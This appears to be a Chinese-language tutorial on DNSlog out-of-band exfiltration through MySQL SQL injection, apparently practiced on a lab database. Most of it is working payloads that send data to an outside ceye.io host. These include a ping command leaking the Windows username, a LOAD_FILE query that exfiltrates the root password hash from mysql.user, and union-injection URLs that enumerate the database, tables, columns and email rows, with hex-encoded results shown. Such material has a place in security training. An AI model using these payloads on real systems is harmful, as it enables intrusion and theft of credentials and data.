DNSlog
DNS log即DNS日志,域名解析的记录
外带原理
测试平台利用泛解析机制解析域名,并在解析我们构造的子域名时记录,生成日志,只要有解析就数据,我们查看日志即可获取关键数据
MySQL条件
配置文件 mysql.ini 中 secure_file_priv 参数需为空
mysql> show variables like '%secu%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
CEYE
测试网站
windows
ping %USERNAME%.b182oj.ceye.io
b1820j 换成网站分配的
SQL Injection
MySQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
load_file 是MySQL读文件的 函数 ;
\\\\——>\\
编码绕过
有些特殊字符在网站中是不合规代码,如user() 中的 @ ;
转十六进制即可;
如下实际为构造域名:\\user().aueuhs.ceye.io\\abc
?id=-1' union select 1,load_file(concat('\\\\',hex(user()),'.aueuhs.ceye.io\\abc')),3--+
726F6F74406C6F63616C686F7374 |
查数据库
?id=-1' union select 1,load_file(concat('\\\\',database(),'.aueuhs.ceye.io\\abc')),3--+
CEYE以将数据带入;
查表
?id=-1' union select 1,load_file(concat('\\\\',hex((select group_concat(table_name) from information_schema.tables where table_schema="security")),'.aueuhs.ceye.io\\abc')),3--+
656D61696C732C72656665726572732C756167656E74732C7573657273 |
查字段名
?id=-1' union select 1,load_file(concat('\\\\',hex((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="emails")),'.aueuhs.ceye.io\\abc')),3--+
69642C656D61696C5F6964 |
查数据
?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(id,0x3e,email_id) from security.emails limit 0,1)),'.aueuhs.ceye.io\\abc')),3--+
313E44756D62406468616B6B616E2E636F6D |